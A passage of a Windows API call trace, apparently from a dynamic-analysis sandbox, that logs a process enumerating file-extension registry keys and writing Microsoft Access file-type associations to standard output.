cchName=0x104 | out: lpName=".icc") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc9, lpName=0x2eef50, cchName=0x104 | out: lpName=".icl") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca, lpName=0x2eef50, cchName=0x104 | out: lpName=".icm") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb, lpName=0x2eef50, cchName=0x104 | out: lpName=".ico") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc, lpName=0x2eef50, cchName=0x104 | out: lpName=".ics") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd, lpName=0x2eef50, cchName=0x104 | out: lpName=".idl") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce, lpName=0x2eef50, cchName=0x104 | out: lpName=".idq") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf, lpName=0x2eef50, cchName=0x104 | out: lpName=".ilk") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd0, lpName=0x2eef50, cchName=0x104 | out: lpName=".imc") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd1, lpName=0x2eef50, cchName=0x104 | out: lpName=".img") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd2, lpName=0x2eef50, cchName=0x104 | out: lpName=".inc") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd3, lpName=0x2eef50, cchName=0x104 | out: lpName=".inf") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd4, lpName=0x2eef50, cchName=0x104 | out: lpName=".ini") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd5, lpName=0x2eef50, cchName=0x104 | out: lpName=".inl") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd6, lpName=0x2eef50, cchName=0x104 | out: lpName=".inv") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd7, lpName=0x2eef50, cchName=0x104 | out: lpName=".inx") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd8, lpName=0x2eef50, cchName=0x104 | out: lpName=".in_") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd9, lpName=0x2eef50, cchName=0x104 | out: lpName=".iqy") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda, lpName=0x2eef50, cchName=0x104 | out: lpName=".iso") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb, lpName=0x2eef50, cchName=0x104 | out: lpName=".IVF") returned 0x0 [0099.817] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc, lpName=0x2eef50, cchName=0x104 | out: lpName=".jar") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd, lpName=0x2eef50, cchName=0x104 | out: lpName=".jav") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde, lpName=0x2eef50, cchName=0x104 | out: lpName=".java") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf, lpName=0x2eef50, cchName=0x104 | out: lpName=".jbf") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe0, lpName=0x2eef50, cchName=0x104 | out: lpName=".jfif") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe1, lpName=0x2eef50, cchName=0x104 | out: lpName=".jnlp") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe2, lpName=0x2eef50, cchName=0x104 | out: lpName=".jnt") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe3, lpName=0x2eef50, cchName=0x104 | out: lpName=".Job") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe4, lpName=0x2eef50, cchName=0x104 | out: lpName=".jod") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe5, lpName=0x2eef50, cchName=0x104 | out: lpName=".jpe") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe6, lpName=0x2eef50, cchName=0x104 | out: lpName=".jpeg") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe7, lpName=0x2eef50, cchName=0x104 | out: lpName=".jpg") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe8, lpName=0x2eef50, cchName=0x104 | out: lpName=".js") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe9, lpName=0x2eef50, cchName=0x104 | out: lpName=".JSE") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xea, lpName=0x2eef50, cchName=0x104 | out: lpName=".jtp") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xeb, lpName=0x2eef50, cchName=0x104 | out: lpName=".jtx") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xec, lpName=0x2eef50, cchName=0x104 | out: lpName=".kci") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xed, lpName=0x2eef50, cchName=0x104 | out: lpName=".label") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xee, lpName=0x2eef50, cchName=0x104 | out: lpName=".laccdb") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xef, lpName=0x2eef50, cchName=0x104 | out: lpName=".latex") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf0, lpName=0x2eef50, cchName=0x104 | out: lpName=".ldb") returned 0x0 [0099.818] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf1, lpName=0x2eef50, cchName=0x104 | out: lpName=".lex") returned 0x0 [0099.819] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf2, lpName=0x2eef50, cchName=0x104 | out: lpName=".lgn") returned 0x0 [0099.819] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf3, lpName=0x2eef50, cchName=0x104 | out: lpName=".lib") returned 0x0 [0099.819] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf4, lpName=0x2eef50, cchName=0x104 | out: lpName=".library-ms") returned 0x0 [0099.819] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf5, lpName=0x2eef50, cchName=0x104 | out: lpName=".lnk") returned 0x0 [0099.819] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf6, lpName=0x2eef50, cchName=0x104 | out: lpName=".local") returned 0x0 [0099.819] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf7, lpName=0x2eef50, cchName=0x104 | out: lpName=".log") returned 0x0 [0099.819] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf8, lpName=0x2eef50, cchName=0x104 | out: lpName=".lst") returned 0x0 [0099.819] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf9, lpName=0x2eef50, cchName=0x104 | out: lpName=".m14") returned 0x0 [0099.821] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ACCDAExtension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n") returned 103 [0099.821] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.821] GetFileType (hFile=0x5c) returned 0x3 [0099.821] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDAExtension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDAExtension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0099.821] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x67, lpOverlapped=0x0) returned 1 [0099.822] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ACCDCFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n") returned 100 [0099.822] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.822] GetFileType (hFile=0x5c) returned 0x3 [0099.822] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDCFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDCFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0099.822] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0099.822] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ACCDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n") returned 124 [0099.822] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.822] GetFileType (hFile=0x5c) returned 0x3 [0099.822] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 125 [0099.822] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7c, lpOverlapped=0x0) returned 1 [0099.822] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ACCDRFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /RUNTIME \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n") returned 122 [0099.822] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.822] GetFileType (hFile=0x5c) returned 0x3 [0099.822] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDRFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /RUNTIME \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDRFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /RUNTIME \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123 [0099.822] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7a, lpOverlapped=0x0) returned 1 [0099.823] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ACCDTFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n") returned 100 [0099.823] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.823] GetFileType (hFile=0x5c) returned 0x3 [0099.823] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDTFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDTFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0099.823] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0099.823] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ADEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n") returned 122 [0099.823] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.823] GetFileType (hFile=0x5c) returned 0x3 [0099.823] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ADEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ADEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123 [0099.823] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7a, lpOverlapped=0x0) returned 1 [0099.823] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.Application.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n") returned 126 [0099.823] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.823] GetFileType (hFile=0x5c) returned 0x3 [0099.823] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Application.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Application.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 127 [0099.823] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7e, lpOverlapped=0x0) returned 1 [0099.824] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.BlankDatabaseTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n") returned 119 [0099.824] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.824] GetFileType (hFile=0x5c) returned 0x3 [0099.824] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.BlankDatabaseTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.BlankDatabaseTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 120 [0099.824] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x77, lpOverlapped=0x0) returned 1 [0099.824] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.BlankProjectTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n") returned 118 [0099.824] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.824] GetFileType (hFile=0x5c) returned 0x3 [0099.824] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.BlankProjectTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.BlankProjectTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 119 [0099.824] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x76, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x76, lpOverlapped=0x0) returned 1 [0099.824] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.Extension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n") returned 98 [0099.824] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.824] GetFileType (hFile=0x5c) returned 0x3 [0099.824] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Extension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Extension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 99 [0099.824] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x62, lpOverlapped=0x0) returned 1 [0099.824] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.MDBFile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n") returned 119 [0099.825] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.825] GetFileType (hFile=0x5c) returned 0x3 [0099.825] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.MDBFile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.MDBFile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 120 [0099.825] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x77, lpOverlapped=0x0) returned 1 [0099.825] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.MDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n") returned 122 [0099.825] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.825] GetFileType (hFile=0x5c) returned 0x3 [0099.825] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.MDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.MDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123 [0099.825] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7a, lpOverlapped=0x0) returned 1 [0099.825] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.Project.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n") returned 122 [0099.825] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.825] GetFileType (hFile=0x5c) returned 0x3 [0099.825] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Project.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Project.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123 [0099.825] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7a, lpOverlapped=0x0) returned 1 [0099.826] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ShortCut.DataAccessPage.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDataAccessPage \"%1\"]\r\n") returned 147 [0099.826] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.826] GetFileType (hFile=0x5c) returned 0x3 [0099.826] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.DataAccessPage.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDataAccessPage \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.DataAccessPage.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDataAccessPage \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 148 [0099.826] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x93, lpOverlapped=0x0) returned 1 [0099.826] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ShortCut.Diagram.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDiagram \"%1\"]\r\n") returned 133 [0099.826] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.826] GetFileType (hFile=0x5c) returned 0x3 [0099.826] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Diagram.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDiagram \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Diagram.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDiagram \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 134 [0099.826] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x85, lpOverlapped=0x0) returned 1 [0099.826] _vsnwprintf (in: _Buffer=0x4a0f6340, 